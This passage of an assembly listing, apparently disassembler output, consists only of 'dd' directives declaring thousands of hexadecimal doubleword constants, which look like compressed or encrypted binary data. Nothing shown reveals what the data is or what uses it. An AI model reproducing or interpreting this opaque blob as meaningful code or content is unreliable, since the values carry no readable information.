dd 20B52CBEh, 1696BFBCh, 20145B23h, 0E9D20AF4h, 0F54853B0h
dd 7F3A36h, 7059341Eh, 0E402B72Eh, 0AF671366h, 13A6B8CEh
dd 98A240DAh, 42BE5221h, 0CB7EC308h, 0C4AB0ABAh, 8481087Fh
dd 1424C7FCh, 0D0E8276Ah, 55F94D02h, 71703372h, 43EF5C02h
dd 0D1A270FDh, 0E49B00C8h, 0B3318F93h, 0C8D5642Dh, 93CB1088h
dd 98F380C4h, 6CD954CDh, 420EBD0Bh, 598A00B2h, 0DB5504h
dd 123011A5h, 7DB306DFh, 0BECF171Dh, 0FDAAF482h, 0C97874F9h
dd 0A029898h, 60C7DE00h, 80EB683Dh, 0AEDB163Ah, 0B358492Eh
dd 0C0024469h, 127B46D1h, 2CAE4E26h, 0B6F01125h, 7458FD04h
dd 0A6CDF580h, 40109DE0h, 56271BD3h, 9EA86ED7h, 8D614014h
dd 43043CD6h, 142BB1EFh, 53814181h, 1C3D0C39h, 2AC0884Ah
dd 0B9ECD300h, 199799B0h, 30E674E4h, 0C46C0C6Dh, 44173318h
dd 9F16DF8Dh, 9F43C400h, 4C549B57h, 0BC055B95h, 8C1F8CBEh
dd 5E0065B4h, 0E6D7FC6Eh, 0B8E88919h, 0FCD05244h, 24949D76h
dd 6B2BBD00h, 0B1C2718h, 52EF1F22h, 8C75C380h, 60225AEBh
dd 7DE000C1h, 0E97ED219h, 0E7B8C76Fh, 572CDC04h, 3B8086EDh
dd 384C9D69h, 4006BB2h, 2AC073A9h, 23986DE4h, 82CB1F05h
dd 0D0B3B2DCh, 4C7E4B00h, 9B14C6DDh, 0A650B076h, 78B8CF08h
dd 12B2BC44h, 0A2D24B81h, 0AEF30088h, 0F6D3D68Bh, 35EC1DA2h
dd 1DB405F7h, 9DD088AFh, 0F8018A00h, 68E4425Eh, 9B95FEAh
dd 30323C60h, 0DDB42C00h, 0A50131D9h, 22C2043Dh, 0EC222D0Eh
dd 16AA4E02h, 40C0C373h, 0C188C701h, 0DA0D3AC4h, 0E1B64980h
dd 0F5DEDF50h, 3BCF890Ah, 4E120C64h, 5452C4A0h, 0F6FD64D6h
dd 4F9A004Ch, 0D30620DBh, 0CA252B88h, 0B91C4BFBh, 3F6B8156h
dd 0D9FD11C0h, 0F8E8AE2Dh, 69E04B67h, 773EA600h, 3478CDEAh
dd 7CA4183Bh, 0D8F1767Dh, 3EF4185Ch, 0EC00F499h, 20CCE9CEh
dd 3D232BCDh, 3900A721h, 0DA88AEB7h, 0C64ECE3Eh, 13DB28D2h
dd 0ECEA43D4h, 6340D768h, 0E6FCEBD2h, 86070250h, 0BC094981h
dd 255180D4h, 30D40864h, 1A49D950h, 0CB504581h, 9288CC30h
dd 37C10005h, 180F43C9h, 1004B8Ah, 8986FDFFh, 0F0D3ABEDh
dd 41549A8Dh, 8507C8CCh, 8B0D80C8h, 88683BD9h, 0C96ADD2h
dd 0FB004092h, 18A4C4E7h, 3CB000B7h, 0E039D269h, 0DC00A897h
dd 4C247E2Bh, 1EA99585h, 80D3C465h, 0D497BA08h, 735F0A4Eh
dd 71F5098h, 0BBAD46FEh, 0A090A0EDh, 0F8743170h, 2548C458h
dd 9088CED3h, 98250046h, 1C4E6453h, 54772758h, 0A8BD7E03h
dd 92B10C79h, 4134562Bh, 0D22C0DBBh, 45940880h, 244B1F74h
dd 12660020h, 0DC9300C8h, 0D5BACB6h, 0F2F67D18h, 0EABA700h
dd 0B4F37629h, 9AE502CDh, 6B026715h, 0CBFCA482h, 0D500CC6Eh
dd 0D73A27DEh, 128C6514h, 0B55E1CB2h, 689C2500h, 20BEA00Ch
dd 0F7801E78h, 92F38079h, 38F93A64h, 47B21000h, 0A6FA8316h
dd 0E82B1C7Bh, 80DA7E1Fh, 7C23E577h, 0F09BBC00h, 96042136h
dd 3F8A7B73h, 0C70E5A44h, 0E6720BA4h, 57E30260h, 80F5DA31h
dd 4AB3ADEBh, 8EA32FCCh, 0EA9B3410h, 9609601Eh, 7304ADC0h
dd 0F8E6750Ch, 8517089Ch, 0BB0472BCh, 99822043h, 45BC90FFh
dd 196EF2BFh, 2982B427h, 1443DA3h, 0A18749D9h, 1483BC67h
dd 0A1C63B6h, 0B7054AB0h, 5024DA50h, 9320D74Ch, 0C9A03467h
dd 0E9B6F1Eh, 828DE5DAh, 2664E2F2h, 1100B14Eh, 99DEF223h
dd 2A1F0732h, 0D9475B1Ch, 1900745Bh, 8EAF9F5Ch, 3F13001Eh
dd 58E69484h, 53008BF5h, 80BEB447h, 78B1E075h, 48BC394Bh
dd 3BEB2400h, 58403863h, 7E88C550h, 76893Ch, 4BCB547Ch
dd 125349Dh, 87F3FE35h, 200446E3h, 0F0E58BBCh, 94F88C55h
dd 8E3C0D3Fh, 30A42C23h, 42BC0893h, 4B87F240h, 7C811D1Ch
dd 0B1F30999h, 0E7537C90h, 0D2829614h, 5DA43F08h, 2C4201BCh
dd 0B1B2864Ch, 2D46CD6h, 6A5FBEBDh, 9C725851h, 0B0C81A5Fh
dd 0F06303DDh, 9D41AC77h, 976EAFB0h, 0A25C3Ah, 30D3421Ch
dd 392047Ah, 0D53B402Ch
dd 0B117E14Fh, 2062FFC9h, 804E183Ah, 0F6C938A0h, 225C1C95h
dd 3195C601h, 68AF6A18h, 59122814h, 6A038D69h, 0F8FEDFC8h
dd 49B878D3h, 438254E4h, 48C65142h, 0D1F7C916h, 1C607C28h
dd 0C91C7B0Dh, 0EC838CC1h, 4BE47A3Fh, 1670C646h, 101C4D8h
dd 44EEF1C0h, 0FF0C65E0h, 814586A1h, 0D892CC10h, 5C43B420h
dd 38A7D02Fh, 38C0001h, 3418778Fh, 0B40F1DD9h, 0FF3A7CDFh
dd 30048E93h, 0B12CC95h, 19C5A0h, 0F550850h, 5317D386h
dd 0ACB8FA64h, 984210h, 0F2357F16h, 71B15189h, 0E3AF3246h
dd 6C632510h, 66824AE8h, 68F6B2FAh, 0AA4B9D00h, 16C6C5E3h
dd 23A82592h, 0B5565080h, 3B0779D3h, 0C6466B1Ch, 0E11C02ABh
dd 425CC4BEh, 7B7609F6h, 29389811h, 0E0C20099h, 48233762h
dd 0CDF62776h, 0A407261Bh, 1BCAA48h, 0D28B41D9h, 0C0CE38FCh
dd 9BEF5730h, 7C910FFEh, 84E0E570h, 4DAE2FD7h, 0C0E37903h
dd 10B60222h, 9CBF988h, 11D54AD4h, 472F42Ch, 804F32C4h
dd 87E9217Bh, 0E4E93D7Fh, 0CD2C69CBh, 0D14698A2h, 0D8BD5851h
dd 0B1BBCE86h, 2C734422h, 62782C6Eh, 862472ADh, 44BEF340h
dd 0E8002DCBh, 22587098h, 3B72478h, 0EB69BD50h, 0C0AC64B4h
dd 6F814B00h, 0D0BED57Dh, 0A646D840h, 27082C4Eh, 98A45DCh
dd 0DC593F44h, 39994240h, 547901FAh, 6DF653Eh, 538889Eh
dd 604194BEh, 0E9246A20h, 0FF11B471h, 37DAAF05h, 0BFCD5F2h
dd 0B0192CA0h, 30A865BCh, 98003100h, 15C51CC3h, 12FAAB7Bh
dd 0F2DB238Ch, 1D8B0BE0h, 6B448413h, 42D4250Ah, 0B225BC56h
dd 180690A8h, 384A1D8Dh, 112C950Eh, 963F0030h, 0C146AEh
dd 3C03836Eh, 8BC8607Ch, 77A120h, 0EDF59D96h, 0ECF6583Bh
dd 4CFAC26h, 0F794CB07h, 2048205Fh, 0B1D0AB54h, 860580DCh
dd 180339B3h, 0C4C0E001h, 42AF30DEh, 312FB049h, 484CD420h
dd 6C99B2CCh, 9CE8514Bh, 0C9AA5F58h, 7C64C2CBh, 1AA1F300h
dd 39931CD1h, 8D7B0034h, 0D0EDCF35h, 0BE2F45B9h, 0E18C984Ch
dd 0E7500EEh, 2A183601h, 26270663h, 61442CFh, 7BC9E4E8h
dd 5599C0B3h, 0D5EAC8F9h, 47328203h, 0F0EE218Ch, 0EEB6BC38h
dd 846901AEh, 94F21BB9h, 0A6643082h, 0D3626303h, 3CBB488h
dd 2A441F49h, 0D7A8CFB5h, 0D4F41C65h, 9AA4BE00h, 0FB127497h
dd 824C2FACh, 2B44091h, 0CE4407AEh, 80488993h, 0AF707FB8h
dd 4FDB3C71h, 81509C45h, 0EC88485Eh, 8AF71244h, 11B0BCF8h
dd 0B326BC54h, 6AAB6030h, 18007888h, 5875E33Bh, 4AFDED3Fh
dd 81F8CAC9h, 0E782C7B7h, 0BC71A8h, 0EBD73867h, 0A94CB373h
dd 38CF08A1h, 0E9AD82ECh, 0E51B60BBh, 0DD06010Ah, 96A9675h
dd 0B45C8F8h, 0C5FACA2Fh, 487D0028h, 0E16E70ABh, 3F170700h
dd 334CCC43h, 0D46426E6h, 4E724D5h, 84A7DC88h, 2C8B628h
dd 0D54B4631h, 3C4389h, 78276D11h, 0D1AB9FB0h, 2B8BD750h
dd 23000BE2h, 0E996FECEh, 1E21BF7h, 58C0285Eh, 2819E7CCh
dd 0EEF880ACh, 42E597h, 3364F2DEh, 1507D721h, 2EE2CE02h
dd 7EA440F0h, 723280E8h, 71589E4Fh, 2F48C705h, 0D016DBAFh
dd 7C7A18A3h, 30A0951Fh, 0C086F35Fh, 0EBEA0A00h, 0FDA47403h
dd 47D92CCBh, 645364B0h, 0FAD3CC1Fh, 98C22001h, 59CC46B7h
dd 0D00912B9h, 184A88Bh, 0A1E80171h, 78545AE4h, 7789D61Fh
dd 0C478ECh, 0BE29CA95h, 0A7FB0D2Ch, 767D4C16h, 0A85868A2h
dd 0A001518Bh, 0D2BF5421h, 0EB250CE6h, 0CBD482h, 0DA70EFFDh
dd 0B8957D3Eh, 185C024h, 0FC77678Eh, 24DB2F47h, 0D0A2BE5Ch
dd 1F00B0C6h, 9965385Eh, 571AE7h, 4E535290h, 0E4662D0Fh
dd 1FF8A400h, 0BE4A24D3h, 0F2E93FB6h, 6022F3Ch, 0B886ED16h
dd 4CA319C0h, 44148878h, 7C900355h, 1190D205h, 8800BC35h
dd 548166C3h, 61189EE5h, 3A39AE95h, 51FC3C20h, 6CDB007Ah
dd 0A15CBD0h, 2F02629Ch, 0FD1C299Eh, 10A447F9h, 209C42F3h
dd 40DA25C7h, 485BF0A9h, 276C4501h, 9C2AB78Eh, 2F859F20h
dd 0E2B8A00Dh, 4C336F10h, 0B810A827h, 48D4B7Fh, 8B78D020h
dd 39CB47E1h, 3D3AC0C0h, 95C9Ah, 0CB6B362Dh, 8EC9D86Ah
dd 24853898h, 0C32243BEh, 3E6C1000h, 0A80FF795h, 4FA44891h
dd 49010059h, 0C764A388h, 2E40BCD2h, 0D16F1422h, 284EE058h
dd 500A710h, 4C5C1D84h, 3D69F6Bh, 4057D406h, 0F04C8367h
dd 0AE78C0ECh, 1FABD282h, 0CBAF621Ch, 0D4808BC9h, 50757F83h
dd 2FF18E7Dh, 0F0047488h, 4CB83Bh, 50A72EB0h, 0F7B99697h
dd 0DE2BC300h, 246231E6h, 0D3BD057Dh, 4B3ACB2Dh, 0E0F9B4BCh
dd 35465400h, 0F6D2AD6Eh, 1690E7h, 0E80C118h, 633F2308h
dd 0E6D3C927h, 45F2000Ch, 0F0E34B9h, 0B307FA85h, 3D32EDE1h
dd 21224D61h, 0F498007Fh, 0BB3526D1h, 10E5ECA1h, 52D31B2Ah
dd 0BF0098ADh, 0F9A002C4h, 0B100445Ch, 881F51F6h, 7D0C8Dh
dd 711C247Eh, 6CC2B47Bh, 0BA0BCD73h, 0D0CB3B07h, 3C2B0F9Ch
dd 3FE52253h, 0CAE8F8DEh, 0D9427C1Bh, 60145546h, 71049300h
dd 7092238Dh, 21E10027h, 1514D82Fh, 0D11786E6h, 0D088F1C4h
dd 0A17B3BA5h, 0F9DB0280h, 66517C9Ch, 0E82BA835h, 0CD70C8h
dd 5503B2B6h, 904E3EAFh, 1DCF3300h, 8FA52A82h, 717A0384h
dd 0D880C4B3h, 0AC0C84FDh, 0FA0C815Ch, 1DC4D90Ah, 0E87200F0h
dd 715A0EB2h, 0BB51405Bh, 80143C84h, 3717BDC7h, 0D91900D2h
dd 0A69B44B4h, 28027FB3h, 0DAD03C7Eh, 2C405CC5h, 30E52D74h
dd 3168300h, 727392CBh, 2CDC4C0Ah, 69669380h, 5FFE7DD8h
dd 0CABAD302h, 7EDCF770h, 3914AC00h, 8425A5BAh, 380F5374h
dd 3060E3D3h, 7DD92272h, 0E55EC900h, 650DAE61h, 7728139Ah
dd 0C4AC01D7h, 2F7ABC21h, 2203B480h, 6EC208CCh, 5180D2AFh
dd 0E590181Bh, 7D850764h, 0E1BB3CE0h, 337A46DAh, 8A890050h
dd 1C9B85F2h, 798300C8h, 0F3D72903h, 0EE01D0ABh, 74333CC3h
dd 0ECFE7213h, 0F5AF0140h, 73ADB382h, 5C046ACDh, 401FCB5Ch
dd 0D3A8AD1h, 6A583014h, 0EF7113E8h, 27470C01h, 0C0832685h
dd 0F1965852h, 41E51800h, 65C0B449h, 8656026Ah, 58BC82FFh
dd 48571040h, 4B21726h, 21802A00h, 0F123EDh, 0C85B7C99h
dd 8E42C1FBh, 0CC44E5Ch, 40B1400Eh, 743A20A8h, 0AFBC7010h
dd 0E152317Ch, 0C889F519h, 0AD30D0AEh, 0D80BA816h, 86FF80C6h
dd 7D3740h, 3B6F3587h, 0AF3389F6h, 79EBCD00h, 393E9395h
dd 301318CAh, 0F2D14068h, 32AA74A0h, 870A7C84h, 83089610h
dd 288E73AEh, 0A02B043h, 0F0A4D031h, 80C0993Ch, 43994A7Ah
dd 1B0131FFh, 0D1842C6Ah, 0DDD2683h, 63048DDh, 1EEE00E3h
dd 231F76DFh, 13FF4C0h, 4D81964Bh, 3F23C4A2h, 29784E0Fh
dd 726400F0h, 133DD43Ah, 7E35F2Fh, 9F3EC52Ch, 7B5618A0h
dd 97D72Ah, 3C504EECh, 6C9087h, 0AD510F47h, 9EC479B7h
dd 48CA1603h, 128A5488h, 0EAE6BA20h, 0F1203310h, 2319A9F2h
dd 0B18300F0h, 0E2CD5BF4h, 380D0097h, 0C1F3DB9Fh, 7804FA4Eh
dd 63D82062h, 3CBBCCCCh, 8880138Eh, 0D56EC4CBh, 9E7DB9DBh
dd 1B0AAB16h, 884ED0F3h, 47720C48h, 0CAA45101h, 2F6B3E1h
dd 0F0587020h, 0F4580F4h, 8CD80328h, 94304E7Ch, 7224C08Eh
dd 0D0B35B1Ch, 88D1DA54h, 0EE442A04h, 53EACEE9h, 17CE4CCh
dd 0B188C901h, 57DF149Ah, 0C8A8802Ah, 9C995A8Fh, 0CE931700h
dd 9FA0B47h, 0B93F71A9h, 9F3A4100h, 0EC016E66h, 263D2142h
dd 0C12B162Ch, 8DA368FCh
dd 68CFD690h, 9F1A9891h, 44288802h, 0FF001CDEh, 897688C7h
dd 3D5620Eh, 57EEC41Ah, 58029560h, 1052FD15h, 2BBC60E0h
dd 0FA5A023Bh, 0F14B4091h, 49092043h, 8295FDBAh, 2F41B90h
dd 58C850D8h, 2F80E25Fh, 5A102ECBh, 0C0E54490h, 3F4ED0D2h
dd 46376090h, 216C080Fh, 7E21000Bh, 0E7776E13h, 64F3DF3h
dd 0A97CCC30h, 0B830E925h, 458240D4h, 80B1323Ah, 0A7AE9B6Eh
dd 0EE625Ch, 0C3720A69h, 0FAC7C4A2h, 0F60082F8h, 5458FB0h
dd 0E61092h, 26AB6D6Ah, 8CEDEBC5h, 80908800h, 0E8286FE3h
dd 10A6012Dh, 3B1F215Ch, 6BC9CC99h, 9E6EC801h, 834F51A7h
dd 13480DCh, 0C732BC85h, 0C05ED4F4h, 78001E2Fh, 0EA41D375h
dd 0FC51326h, 0A4FD0F1Bh, 46710A20h, 0B200EF97h, 0BDD466B9h
dd 0CAF4E2h, 0D5BA7E5Ah, 6398482Bh, 6C8B3600h, 4268F816h
dd 804100A8h, 57B50EC5h, 3218ABFDh, 0DC191004h, 0A9D8005Ch
dd 7DBEAF2Bh, 0BC3AB765h, 462060A1h, 23B0CEAh, 19ED687Ah
dd 1A40BDE9h, 4C30FA7Eh, 0BC351839h, 0A504035Ch, 31157F3Ah
dd 0A25F3CC0h, 28FE0BF0h, 60696303h, 3080702Dh, 5D80B458h
dd 300186A2h, 6A3CB678h, 0E6E0A7BDh, 8390EA6Eh, 0D1FE34E0h
dd 9EE818C7h, 3998726h, 0EC330973h, 68007B28h, 8A08EA0Dh
dd 0CA7687Ch, 0F0FA0A91h, 0A3322BB9h, 225F807Fh, 2263047Bh
dd 10995803h, 0B89F3DADh, 640A34A2h, 0C0E218B0h, 0AF3222A2h
dd 0DE784FF8h, 9485F828h, 0E56FB61Ch, 0EA8E9842h, 65A486E1h
dd 66C82190h, 7E10861Eh, 4CACF282h, 3332907h, 31C87456h
dd 9EE8B028h, 0C8101BAEh, 23E0E166h, 0E306C040h, 93906A9h
dd 6836C4EAh, 0C07840FFh, 86FB775h, 0A80415A9h, 3D95303Eh
dd 3721010h, 98B06300h, 0A29F2CBCh, 2D7E00E7h, 0DB3E883Fh
dd 300C76A6h, 2905CE10h, 9F088A8h, 957EA100h, 3F154A31h
dd 0A4FF497h, 0E39BFAE5h, 194600FCh, 2840B0B4h, 0EA0FA573h
dd 0C7D74B8Fh, 3C90F75Ah, 3E9F22h, 0A4257FC2h, 0B68698AEh
dd 9E2EB300h, 7543513Ah, 0DA4000A0h, 274C78E9h, 0FF030BBFh
dd 26C860E4h, 0C8AFF3FAh, 2CD28880h, 18EBAD04h, 0BAFC20FDh
dd 9B26E37Bh, 0D5005268h, 0EC571AA0h, 5FEE3DC0h, 7D646581h
dd 80CF2646h, 5EF64C10h, 0A13AB1h, 0A3BCFB86h, 0BE945A1Fh
dd 0AE09900h, 0AF4510A5h, 1C05003Bh, 0BF1DB56Ch, 5C2857E8h
dd 0ACFAB063h, 0C4E60D2Ch, 177FA900h, 0F21AE52h, 7916119Ah
dd 60839266h, 0CACEE503h, 88054DECh, 31AAB5h, 0F46B1D9Eh
dd 2A69C5DCh, 80D93A3Ch, 9282C61Ch, 66D86Dh, 0FC3F28BDh
dd 0D7E4C870h, 9EA5A005h, 1BD14909h, 2E305C92h, 3DC60025h
dd 0DEF13C75h, 3A03388Fh, 4583BD73h, 0EF69F061h, 5DDD0293h
dd 3ED114B2h, 5979D6E0h, 9C0F6300h, 0D6E34CC0h, 0CE640BA7h
dd 0DFC1A9h, 0A5DFC493h, 0AB5524DCh, 48B70028h, 9F4C47A3h
dd 5CF0DA25h, 0BB960011h, 5742A84Dh, 0EC00DEFEh, 0F5C62C6Dh
dd 0FFC9A7Ch, 9541204Eh, 0CAC0ABCFh, 449482FBh, 0EDFE4500h
dd 1468693Ah, 33CF013Bh, 4FB9773Eh, 0B71989E8h, 627580E7h
dd 7D036AD0h, 1E300F1h, 648DE699h, 0B1E65143h, 67002892h
dd 0FC52D0B5h, 70EE205Eh, 31E72AD8h, 0A65516D8h, 0CC700005h
dd 33A291ADh, 492B540Eh, 0F55F00A7h, 75A9D0h, 4CA44417h
dd 134E9409h, 2BB03Fh, 0A00A5A7Eh, 0FA20346h, 88A5B26h
dd 0F2278D8h, 0C83BF109h, 414C0052h, 32B37D44h, 10C9E24Dh
dd 998DE060h, 63103C60h, 25B307h, 0E0223E75h, 0D281B49Dh
dd 21551907h, 4418E60h, 5CF44650h, 2B390F0Ah, 4009A4C0h
dd 0C39BE801h, 722ED4F1h, 0DAC1261Ch, 75168079h, 1E7D6864h
dd 51410096h, 998C2486h, 8D00D96Ch, 343A87FFh, 48ECC079h
dd 8601702Ch, 1F364E01h, 3A88D47Bh, 71E98500h, 0B12C50A6h
dd 285E0763h, 0C03BB5DAh, 83C01370h, 34F04Dh, 1B15AE5Bh
dd 0E3D043E2h, 39CE6080h, 7895C0Dh, 218020F7h, 0C2731B00h
dd 80DA788Ch, 60B598BFh, 0E39C801Ah, 16484AFAh, 38E809F9h
dd 3960A054h, 32CF7AEh, 1FB2ED13h, 6F833DFh, 5E066861h
dd 0F5F64D04h, 461C3B11h, 154EEE00h, 1A2003B2h, 21FB600Fh
dd 3D7D402Ah, 0F26171h, 8CC574D9h, 342B1975h, 0C4F8652Eh
dd 16A28F00h, 77378A3h, 546047A8h, 1F59B084h, 0FDFC67BCh
dd 2604D01Eh, 8DCD7F00h, 21A4A2h, 2E59DCFAh, 0E216AFFBh
dd 11452916h, 0D3128B00h, 9E5BB1h, 0F1E6FE86h, 0FAE83423h
dd 437C1300h, 45144AFBh, 0BEA04CB1h, 7B0CD806h, 8D0030E8h
dd 0C0ACCBA7h, 1EE02BADh, 4A96CDCEh, 0BCA9A1h, 0B7F846Bh
dd 1603DB10h, 5034DDB5h, 0E489D05Bh, 7DFFA06h, 0F032B11Ah
dd 5E413002h, 0D41F8B38h, 6E87F104h, 479006B0h, 3B08A058h
dd 4CC8B2C2h, 9A8FE00Fh, 90341227h, 0F786EF98h, 1DF0E360h
dd 0CFB45Eh, 843225A8h, 26DABDB5h, 8F402749h, 0C0948FCAh
dd 5C3BA824h, 8B800F58h, 1329DB6Ah, 0BC403000h, 0CE00AC51h
dd 5D445566h, 8A71F4h, 0D6DD988Ch, 0FF6E30B0h, 0FED58200h
dd 0FD6283F0h, 0B75E0EE2h, 0A3C0D9E8h, 4A390618h, 37700200h
dd 4D2E7150h, 809A268Eh, 0A6400F0h, 0D40C55C7h, 6F127075h
dd 2C007FD2h, 71D77321h, 489E7367h, 4C00E0AFh, 0CC4F0999h
dd 8A00795Eh, 0B77EC4CAh, 303E814h, 3B40ACA8h, 66D87BFBh
dd 57000CE3h, 6A058342h, 278699h, 0A3D27A15h, 5BF004E8h
dd 0B40E49EEh, 0E0B86710h, 399DD378h, 0CA691D96h, 0EE770121h
dd 0DC059BCFh, 4B0051F6h, 8ADE356Ch, 896B11h, 0FF546AFBh
dd 0FE822103h, 1967FE90h, 0AE704811h, 309626h, 0C72F4D47h
dd 4BD3D4E0h, 66E80900h, 606CABEFh, 9998C076h, 72D6112Eh
dd 9D00C47Dh, 4F08912Ch, 0C29539h, 102D2614h, 4A35359h
dd 71279000h, 0C4DBD381h, 1787E8AFh, 40327EBAh, 0DB8B32Ch
dd 5673666Eh, 9D30FCEBh, 3A964A00h, 0AF124F91h, 8DE70009h
dd 6B827049h, 200011E8h, 0BAB881C5h, 48591EA2h, 0F613AC57h
dd 95AC07F3h, 3DF49093h, 8F00B32Ch, 0D40BF9EAh, 4D7B298Eh
dd 3000883h, 0B3BAAC3Fh, 11060489h, 3DAD4509h, 1D8A399h
dd 0CC690729h, 0D1790905h, 2944D00Eh, 3C247E54h, 0B8039B81h
dd 0E410080Dh, 8BE1209Eh, 0CD61F0h, 0E3046686h, 0D5A9B1B5h
dd 11F8000h, 0CC510B0Dh, 69432EC0h, 0FA9781B4h, 8083EAE7h
dd 0CC99B164h, 0F4DFDA3Dh, 8D015C39h, 0C0C2F48h, 3C0A2E4h
dd 0DC0320A4h, 0DDD55DDBh, 8244E28Ch, 836CE60Ch, 0BABBA70h
dd 36DC98B0h, 888CCC80h, 8400E960h, 8339A9DDh, 3FA1A72Ah
dd 0F39FE7F7h, 14044001h, 0CA6E878h, 0B799F40Fh, 56D98062h
dd 60417047h, 0B5362093h, 96EEF24Bh, 75FE1D00h, 0F8C4606Bh
dd 0C1F400ABh, 6566E928h, 0D01DA8Bh, 8F15154h, 0A9806768h
dd 0D9C7FCF6h, 0C11C2FB5h, 320A5C59h, 0E6001006h, 76C5B19Ah
dd 3FC009C6h, 70681472h, 0A73E9BE7h, 586F04FBh, 0D0C171B0h
dd 0F9821909h, 0ACE48F41h, 0C1F838C8h, 60021F6h, 0AEEE602h
dd 797EFDh, 0A96BE7AFh, 5FD92090h, 41403737h, 513603AEh
dd 2982C80Ah, 37F58B0h, 0E6780577h, 0EBEC0C98h, 373F0CC0h
dd 0A0F00F9h, 83B20214h, 0C00F0E6Dh, 80DF3549h, 0BE03340Bh
dd 863066Eh, 20A75AC1h, 58F57600h, 299FCF20h, 0BD1D007Fh
dd 3001496Ch, 7E74CD04h, 27BCB71Eh, 0A2A70Eh, 0B1660A0Ch
dd 0E3BD0054h, 2A4C614h
dd 7634E298h, 47011D2h, 0C79FE1FBh, 0F0C88C10h, 7D76EF99h
dd 193E1F07h, 0C5F0CDE3h, 0EC924Fh, 0D1237972h, 0E2A6B15Bh
dd 1DDBF100h, 75424933h, 0AD9C0790h, 10F3E8ACh, 0DE9E619Bh
dd 6CC6FB00h, 38270E24h, 84B100C4h, 0E2F550DBh, 6A7CA586h
dd 6400DAE4h, 62439096h, 38AAE7h, 456FCEE4h, 7FE2C799h
dd 7A48E500h, 0DACF6E1Ah, 376800BBh, 0D2018EA3h, 0F1003B41h
dd 7F33E46Fh, 2A7EABAh, 3F6C24DEh, 8A63FC5Dh, 0EBA916F0h
dd 3A29EE00h, 8D7F5A13h, 0CCB03C7Eh, 0C01EDC1Eh, 0E421899Dh
dd 0EF008279h, 0CE679211h, 578CD6h, 4546175Ah, 8D0C88FEh
dd 382E350Fh, 0C9B078D8h, 0A1C11FD2h, 6C59821Fh, 0B0A94C7Dh
dd 3E435400h, 0B0081E7h, 33A6FA86h, 1F6BD5FEh, 0C02B35DBh
dd 0CC7E11C2h, 1300CB63h, 0FCCA303Fh, 0B32932h, 89965983h
dd 0F963CEF2h, 0A5665315h, 39B500E0h, 95FC937Eh, 5FFE00D9h
dd 0C7602531h, 3700445Ch, 0BD29B1F7h, 12C34948h, 0BE520491h
dd 0F0EC3901h, 10209881h, 3D11FCC5h, 0F016CA6h, 3B705CB2h
dd 97D4C051h, 3893F407h, 9C3068F3h, 0C43D8Fh, 0B351325Ch
dd 0D588874Dh, 3E1A9601h, 16BDF1DEh, 47BBD4h, 75DEC56h
dd 1CB75035h, 6CE83100h, 0D08CD12Ch, 0F4471F93h, 55EEC338h
dd 0C1D8D89Fh, 0CD0064EFh, 849CDF95h, 947653Dh, 77CB8E61h
dd 2FE0582Eh, 3CCE0EDh, 39F05B00h, 96FD9A7Fh, 660100C3h
dd 95D8A4FBh, 5D008A11h, 105BA7E8h, 9FD484Dh, 5E326C70h
dd 4C340820h, 2C0ED1ADh, 80861BD6h, 0C029F8F7h, 3D6900ACh
dd 0D298B784h, 0AA05C759h, 60FA9FADh, 3C41BC4Ah, 62F3D880h
dd 0BDD6D5h, 0A5A3FF80h, 814A49C5h, 69063Dh, 99EE2ADBh
dd 589CAAE8h, 0A82E9EE3h, 3A7700E3h, 0F827B869h, 75E5E900h
dd 1251F37Eh, 9B6700DAh, 64B49AA6h, 2419C9B5h, 38A819CEh
dd 83000022h, 4967B39h, 0F900DE9Dh, 0E76EB25Ch, 0E186325h
dd 9342B444h, 0FC0B61A0h, 690068EFh, 6F2C7203h, 13DFB14h
dd 111553F1h, 6BE5F9C9h, 3A06B0E0h, 0C6031740h, 89C4CB16h
dd 0EB7DC590h, 7F02F407h, 6B3C93h, 0FCBDCC6Ah, 2DF417h
dd 22DB0EA4h, 0D7C07055h, 0F76D1507h, 0C320CED1h, 45D3D9h
dd 6123F4E2h, 63607173h, 8238D800h, 8C97BF3Eh, 6A870B4Bh
dd 6F8FBE5Dh, 37499038h, 96F8D50Eh, 8E85838Ah, 0FCFFB8E3h
dd 15C10012h, 1A739DADh, 0D5145481h, 8CD360h, 0FC830526h
dd 0DCF06Dh, 0C2D9C40Dh, 935FB651h, 0C7C6AE00h, 0EC292CCAh
dd 0A2E601ACh, 0AF47F99Ah, 15A5C468h, 0FDBFCE00h, 0F279E769h
dd 5898A032h, 8DD50095h, 0E0918AD8h, 0FF0102EDh, 10EBDD4Fh
dd 1BC8CD0Fh, 0D8C2003Ah, 2517347Fh, 53046C43h, 8201923Bh
dd 2307BCD0h, 6B1C277Dh, 0F90092D0h, 2BE58A7Ah, 480EC8E2h
dd 69070837h, 0B333E991h, 70B0C244h, 0D1F206BBh, 235E3000h
dd 0D6191698h, 22DC004Ah, 484EF059h, 0E5006BC5h, 0EA3146F7h
dd 30D581Ah, 5F504041h, 0E9E82207h, 49024BE0h, 735C4FF2h
dd 0EE5469BDh, 91C11C8h, 6CF0B02Fh, 1A760000h, 513D0D07h
dd 9FA7850Ch, 98038A3Ah, 0F0C26020h, 279AAE5h, 0DF80505Dh
dd 8CE00947h, 62006FB6h, 249E08A7h, 0F20B01h, 0C30DD311h
dd 8504819Dh, 0FEB00E00h, 0B5F4B973h, 0CFF9033Ch, 0C31D411Fh
dd 4AF5E1F0h, 11F3A70Fh, 5BBF219Eh, 0BC300BFCh, 277E060Ch
dd 0DAB4A928h, 0BB312600h, 37C08995h, 0BF9B2AAEh, 7F1200E4h
dd 5D3D72D1h, 2900BEF6h, 0B85731FAh, 0DB5C15h, 84E5C0E0h
dd 0AA5B3063h, 0AF28191Dh, 0CB216F80h, 17E23DBEh, 0C8AC82h
dd 95D498A7h, 0C90F64Dh, 0B0FE03E8h, 49DD9F00h, 8491D8C7h
dd 4E5ECC8h, 0B1463E92h, 20448C42h, 0D9BDC10Eh, 7BDAE3A6h
dd 0E13F98BEh, 0B2320F16h, 12201E4Ah, 976AA3D8h, 0C2810918h
dd 5CD630h, 2AD1ACA4h, 83C1E154h, 1E17AA05h, 0EBC0B8A7h
dd 0FAC5FFFh, 0DD3A3BDEh, 0CB76F3A0h, 31D8BF4h, 6443D794h
dd 0B04D2FFEh, 49BA92h, 5438F9DFh, 0A39334C6h, 26259903h
dd 80A4AC75h, 204F867h, 9FE6B772h, 0EB820843h, 60489405h
dd 710036FEh, 0CB1ED7FBh, 755FC7h, 0E85B371Ah, 25D1748Eh
dd 0F9096898h, 8095A7EBh, 0E5368D7Ch, 5BF4021Bh, 5F3FDDBDh
dd 1D2A7CC8h, 0C7FED307h, 82207502h, 38396DD5h, 0D1009F7Ah
